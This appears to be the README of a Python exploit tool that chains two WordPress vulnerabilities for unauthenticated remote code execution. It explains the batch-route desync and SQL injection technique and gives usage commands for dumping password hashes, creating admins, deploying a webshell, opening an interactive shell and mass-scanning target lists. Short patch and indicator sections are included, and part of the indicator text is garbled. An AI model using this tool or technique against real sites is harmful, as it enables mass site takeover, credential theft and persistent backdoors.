Python 漏洞利用工具,将 CVE-2026-63030 REST 批量路由混淆与 CVE-2026-60137 SQL 注入串联利用,实现未认证的 WordPress RCE、数据库读取和 webshell 部署。
作者: LANGZ
CVE: CVE-2026-63030(与 CVE-2026-60137 链式利用)
严重性: 严重(CVSS 9.8)
类型: 预认证远程代码执行(RCE)
本工具仅供教育目的和授权安全测试使用。
使用本工具即表示您同意:
如果您在未经授权的情况下对系统使用本工具,您就是在犯罪。
作者不纵容、不支持、也不对任何此类行为承担任何责任。
CVE-2026-63030 是 WordPress 核心中的一个 REST API 批量路由混淆漏洞(CWE-436),在 6.9 版本中引入。当与 CVE-2026-60137(WP_Query 的 author__not_in 参数中的盲 SQL 注入)链式利用时,它允许未认证攻击者在默认 WordPress 安装上实现完整的远程代码执行。
| 方面 | 详情 |
|---|---|
| 受影响版本 | WordPress 6.9.0 – 6.9.4、WordPress 7.0.0 – 7.0.1 |
| 仅受 SQLi 影响 | WordPress 6.8.0 – 6.8.5(仅 CVE-2026-60137) |
| 所需认证 | 无 |
| 用户交互 | 无 |
| 影响 | 站点完全沦陷 — 数据库读写、任意 PHP 文件上传、操作系统命令执行 |
| 利用状态 | 已在野被积极利用;观察到 62,802+ 个独立攻击 IP |
攻击者可以做什么:
为什么危险:
将 WordPress 更新到已修补版本:
| 当前版本 | 更新至 |
|---|---|
| 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.0 – 7.0.1 | 7.0.2 |
| 6.8.0 – 6.8.5 | 6.8.6(仅修复 SQLi) |
注意: WordPress 已启用强制自动更新,但禁用了自动更新的站点或延迟更新的托管主机仍然暴露在外。请验证更新已成功应用。
/wp-json/batch/v1 的 POST 请求?rest_route=/batch/v1 的 POST 请求查找:
/wp-json/batch/v1 或 ?rest_route=/batch/v1 的异常 POST 请求/wp-content/cache/ 或其他 Web 可访问目录中的可疑 PHP 文件如果您发现入侵指标,仅仅删除文件和管理员账户是不够的。 请执行完整的事件响应,并考虑彻底重建系统。
该利用链结合了两个漏洞:
WordPress 的 REST API 批量处理器(serve_batch_request_v1)存在一个差一索引错误。当 wp_parse_url() 在子请求路径(例如 "///")上失败时,生成的 WP_Error 被推入 $validation[] 但没有推入 $matches[]。这使两个数组失去同步,导致每个后续请求都在错误的处理器下被分发。
通过将精心构造的批量请求嵌套在另一个批量请求中,攻击者可以将一个由某端点模式验证的请求,通过完全不同的端点回调进行路由 — 完全绕过权限检查。
被混淆的请求落入 WP_Query 的 author__not_in 参数。WordPress 将字符串转换为数组,但跳过了 absint() 清理,从而允许原始 SQL 注入。该工具利用此漏洞来:
UNION SELECT)WP_Post 对象污染 WordPress 的对象缓存一旦设置完成(发现表前缀和管理员 ID),提权载荷在单个 HTTP 请求中触发:
UNION 伪造文章)然后该工具使用生成的管理员凭据部署基于插件的 webshell 以执行操作系统命令。
# Single target check
python3 wp2shell.py http://target.com
# Check with active SQLi confirmation
python3 wp2shell.py http://target.com --confirm-sqli
# Read database (fingerprint)
python3 wp2shell.py http://target.com --read --preset fingerprint
# Read user logins and password hashes
python3 wp2shell.py http://target.com --read --preset users
# Deploy webshell and run a command
python3 wp2shell.py http://target.com --shell --cmd id
# Interactive shell
python3 wp2shell.py http://target.com --shell -i
# Mass scan from file
python3 wp2shell.py targets.txt
不带参数运行以打开交互式菜单:
python3 langz.py
══════════════════════════════════════════════════════════════
██╗ █████╗ ███╗ ██╗ ██████╗ ███████╗
██║ ██╔══██╗████╗ ██║██╔════╝ ╚══███╔╝
██║ ███████║██╔██╗ ██║██║ ███╗ ███╔╝
██║ ██╔══██║██║╚██╗██║██║ ██║ ███╔╝
███████╗██║ ██║██║ ╚████║╚██████╔╝███████╗
╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚══════╝
▓▒░ L A N G Z T O O L S ░▒▓
Author : LANGZ
CVE : (CVE-2026-63030)
──────────────────────────────────────────────────────────────
[1] Single Target - Check
[2] Mass Target - Check
[3] Single Target - Auto Admin
[4] Mass Target - Auto Admin
[5] Exit
──────────────────────────────────────────────────────────────
Results -> Results/results.txt
══════════════════════════════════════════════════════════════
本项目仅供教育和授权安全测试目的提供。
作者 LANGZ 对本工具造成的任何滥用或损害不承担任何责任。
作者: LANGZ
CVE: CVE-2026-63030
| 标志 | 描述 |
|---|
--timeout | 请求超时时间(秒)(默认:15) |
--proxy | HTTP 代理(例如 http://127.0.0.1:8080) |
--threads | 批量扫描的并行线程数(默认:50) |
--sleep | 用于盲确认的 SQL 时间延迟(默认:3) |
--samples | 用于确认的计时对(默认:3) |
--confirm-sqli | 发送主动 SQLi 确认载荷 |
--preset | fingerprint 或 users |
--query | 要读取的自定义 SQL 表达式 |
--prefix | 数据库表前缀(默认:wp_) |
--max-length | 每个值的最大字符数(默认:128) |
--technique | auto、union、blind 或 error |
--user | 管理员用户名(用于 --shell) |
--password | 管理员密码(用于 --shell) |
--cmd | 在目标上运行的命令 |
-i, --interactive | 打开交互式 shell |